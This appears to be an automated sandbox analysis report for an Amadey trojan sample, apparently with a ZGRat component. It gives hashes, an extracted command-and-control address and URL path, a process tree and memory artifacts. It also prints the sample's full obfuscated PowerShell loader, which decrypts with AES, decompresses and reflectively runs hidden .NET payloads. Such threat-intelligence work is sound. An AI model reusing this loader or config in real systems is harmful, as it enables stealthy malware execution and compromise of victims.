amadey | 22eb695c324270e56f16f129142a77f0ef297eb657eca436c85733aca7eb24d9

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
16/01/2024, 01:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ama.exe
Size 5.0MB
Sample240116-bsdk4aadek
SHA256 22eb695c324270e56f16f129142a77f0ef297eb657eca436c85733aca7eb24d9
MD5 180d4bc7f009833d9a9638dab254ae34
SHA1 e58b8ad53432ba38f1fba5682149b230701a9c23
SHA512 f28df42b92693b8c8c18208fbfa22d8d388487e62b7d4460f247fe707e2960818551316c83d8a30da4ee8ff31af4dd94b2c1b728cb43d817d436649ef270594d
SSDEEP 98304:ny+NIaqkgclfjAJRKSVwZ3zU5rs7L+HHZKVI:nyEmP0U5rsmnZm
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

amadey zgrat rat trojan

Malware Config

Extracted

Family

amadey

Version

4.15

http://185.172.128.63

Attributes

install_dir
6187fcb526
install_file
Dctooux.exe
strings_key
cd3b2619c9009c441355ae581d53163e
url_paths
/v8sjh3hs8/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect ZGRat V1 1 IoCs

resource	yara_rule
behavioral1/memory/1416-0-0x00000000008B0000-0x0000000000DB8000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Loads dropped DLL 1 IoCs

pid	Process
1416	ama.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1416 set thread context of 1788	1416	ama.exe	29

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1288	1416	WerFault.exe	21

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1644	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1644	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1416 wrote to memory of 1788	1416	ama.exe	29
PID 1788 wrote to memory of 1584	1788	RegSvcs.exe	36
PID 1788 wrote to memory of 1584	1788	RegSvcs.exe	36
PID 1788 wrote to memory of 1584	1788	RegSvcs.exe	36
PID 1788 wrote to memory of 1584	1788	RegSvcs.exe	36
PID 1584 wrote to memory of 320	1584	cmd.exe	34
PID 1584 wrote to memory of 320	1584	cmd.exe	34
PID 1584 wrote to memory of 320	1584	cmd.exe	34
PID 1584 wrote to memory of 320	1584	cmd.exe	34
PID 320 wrote to memory of 1684	320	cmd.exe	33
PID 320 wrote to memory of 1684	320	cmd.exe	33
PID 320 wrote to memory of 1684	320	cmd.exe	33
PID 320 wrote to memory of 1684	320	cmd.exe	33
PID 320 wrote to memory of 1644	320	cmd.exe	32
PID 320 wrote to memory of 1644	320	cmd.exe	32
PID 320 wrote to memory of 1644	320	cmd.exe	32
PID 320 wrote to memory of 1644	320	cmd.exe	32
PID 1416 wrote to memory of 1288	1416	ama.exe	37
PID 1416 wrote to memory of 1288	1416	ama.exe	37
PID 1416 wrote to memory of 1288	1416	ama.exe	37
PID 1416 wrote to memory of 1288	1416	ama.exe	37

C:\Users\Admin\AppData\Local\Temp\ama.exe
"C:\Users\Admin\AppData\Local\Temp\ama.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1416
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1584
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1416 -s 708
  2⤵
  - Program crash
  PID:1288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1644

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd';$RfUL='SplstIeistIetstIe'.Replace('stIe', ''),'TrfmgKafmgKnfmgKsfmgKfofmgKrfmgKmFfmgKinafmgKlBfmgKlofmgKckfmgK'.Replace('fmgK', ''),'DecHsSjomHsSjpHsSjrHsSjessHsSj'.Replace('HsSj', ''),'EleBZnKmBZnKeBZnKntBZnKAtBZnK'.Replace('BZnK', ''),'ReGrwradGrwrLiGrwrnGrwreGrwrsGrwr'.Replace('Grwr', ''),'CIOLbopIOLbyIOLbTIOLboIOLb'.Replace('IOLb', ''),'FrpwLNompwLNBapwLNspwLNepwLN6pwLN4SpwLNtpwLNripwLNnpwLNgpwLN'.Replace('pwLN', ''),'LZaAAoZaAAaZaAAdZaAA'.Replace('ZaAA', ''),'IswsYnswsYvokswsYeswsY'.Replace('swsY', ''),'MayHpwinyHpwMoyHpwduyHpwleyHpw'.Replace('yHpw', ''),'EnfcpnnfcptrynfcpPnfcponfcpinnfcptnfcp'.Replace('nfcp', ''),'GKVjZetCKVjZurKVjZrKVjZenKVjZtPrKVjZocKVjZessKVjZ'.Replace('KVjZ', ''),'CmmRYhanmmRYgmmRYeExmmRYtenmmRYsmmRYimmRYonmmRY'.Replace('mmRY', ''),'CrewBkzatwBkzeDwBkzecwBkzrywBkzptwBkzowBkzrwBkz'.Replace('wBkz', '');powershell -w hidden;function HYZRs($YjbML){$FKFbd=[System.Security.Cryptography.Aes]::Create();$FKFbd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$FKFbd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$FKFbd.Key=[System.Convert]::($RfUL[6])('2M0fT7QfMAGeiJeE2Y8HU5skhkMH0OcAFA0SFzRHVws=');$FKFbd.IV=[System.Convert]::($RfUL[6])('Wv0CCTjoJ02lflet8TKTGg==');$qvWHS=$FKFbd.($RfUL[13])();$UQnTy=$qvWHS.($RfUL[1])($YjbML,0,$YjbML.Length);$qvWHS.Dispose();$FKFbd.Dispose();$UQnTy;}function tsjtk($YjbML){$KLabx=New-Object System.IO.MemoryStream(,$YjbML);$CeqVN=New-Object System.IO.MemoryStream;$OFOrH=New-Object System.IO.Compression.GZipStream($KLabx,[IO.Compression.CompressionMode]::($RfUL[2]));$OFOrH.($RfUL[5])($CeqVN);$OFOrH.Dispose();$KLabx.Dispose();$CeqVN.Dispose();$CeqVN.ToArray();}$xZSiw=[System.IO.File]::($RfUL[4])([Console]::Title);$VwJSg=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 5).Substring(2))));$NGyKN=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 6).Substring(2))));[System.Reflection.Assembly]::($RfUL[7])([byte[]]$NGyKN).($RfUL[10]).($RfUL[8])($null,$null);[System.Reflection.Assembly]::($RfUL[7])([byte[]]$VwJSg).($RfUL[10]).($RfUL[8])($null,$null); "
1⤵
PID:1684

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:320

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

DoNothing.cmd

Path C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd
Size 41KB
SHA256 86371e117e1baf820cfdb54f01de18a96da41efa2ca636506227ceeccfd6e8e8
MD5 893ad13eeb0184bab365f2b99eae5b83
SHA1 a059f45d229a17537eb6ad98f52808a6cfabfe56
SHA512 61ec4e00b7c3148f9699abbc43b278a4b235abe22c2364b23ad68e3aa0b99f3a03b6ad6adc943992e7e510f95c84510eaf540b131782d86e5341d7f6e130433c
SSDEEP 768:pS8I0l0EKS7nMcRv7oM92nFVGeX7DZPJ41KdBkfYrxv53g/zW:Z0GnM+v7oM90FpX54BfYrxe/q
MD5 SHA1 SHA512 SSDEEP

Submit Download

DoNothing.cmd

Path C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd
Size 229KB
SHA256 9e9a0c51690263b2ff0f61f96a684725df65eb0ef8cf6fdcf400814f7634dfd1
MD5 4c2a5540e7e7adb88c94df8e1967c468
SHA1 979725fcb62a3492d7dbd3bfdc75e51087dc677b
SHA512 7a964e6b10260854b18f4aa3af09e52d4a992bb4f7066f7e51b268696e8be5d405cce1e9dd392e70c2f321072a263dd9511d1c71cdf660449d786ec9c4bd3861
SSDEEP 6144:Lw9eynETNBLMJSgt9Zu+9aVg21lbBuuCjGo4u4PMrXr:5TLM7cb4uCy+37
MD5 SHA1 SHA512 SSDEEP

Submit Download

Protect544cd51a.dll

Path \Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
Size 352KB
SHA256 4e038540fc11263961596ec26d5533161c365cf3d518bf750f77da15efd1d3ad
MD5 a35ab0e09199d884619336dc80c8afd7
SHA1 bcfb94f7edf09ec595a1af0a500005c64648f5d8
SHA512 5cc054aad1dcbfce58ec7f84a8ebc328f01b187025d20304ca83edba4647d7aa40a6b1903fab3836c5354272791d9de0a1d21f3e50a2593218976eb10167caab
SSDEEP 6144:wCLqIW/JF2RnuvURpRD4jRPfEeb2A7v4+C+BHQMWC2AWXti+31rcE:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iK
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1416-63-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-67-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-3-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-13-0x0000000000630000-0x0000000000640000-memory.dmp

Download

memory/1416-15-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-18-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-19-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-71-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-70-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-68-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-69-0x0000000006BB0000-0x0000000006CB0000-memory.dmp

Download

memory/1416-0-0x00000000008B0000-0x0000000000DB8000-memory.dmp

Download

memory/1416-62-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-40-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-12-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-1-0x0000000074C30000-0x000000007531E000-memory.dmp

Download

memory/1416-2-0x0000000074C30000-0x000000007531E000-memory.dmp

Download

memory/1416-11-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-16-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-14-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-4-0x00000000056C0000-0x00000000058E0000-memory.dmp

Download

memory/1416-10-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-17-0x0000000006BB0000-0x0000000006CB0000-memory.dmp

Download

memory/1416-5-0x0000000006A20000-0x0000000006BB2000-memory.dmp

Download

memory/1416-39-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1416-38-0x00000000024C0000-0x0000000002500000-memory.dmp

Download

memory/1644-66-0x0000000002A70000-0x0000000002AB0000-memory.dmp

Download

memory/1644-65-0x0000000070DE0000-0x000000007138B000-memory.dmp

Download

memory/1644-73-0x0000000002A70000-0x0000000002AB0000-memory.dmp

Download

memory/1644-72-0x0000000070DE0000-0x000000007138B000-memory.dmp

Download

memory/1644-64-0x0000000070DE0000-0x000000007138B000-memory.dmp

Download

memory/1788-32-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Download

memory/1788-26-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/1788-22-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/1788-28-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/1788-20-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/1788-34-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/1788-36-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/1788-37-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/1788-30-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/1788-24-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/1788-58-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/1788-50-0x0000000000400000-0x000000000046D000-memory.dmp

Download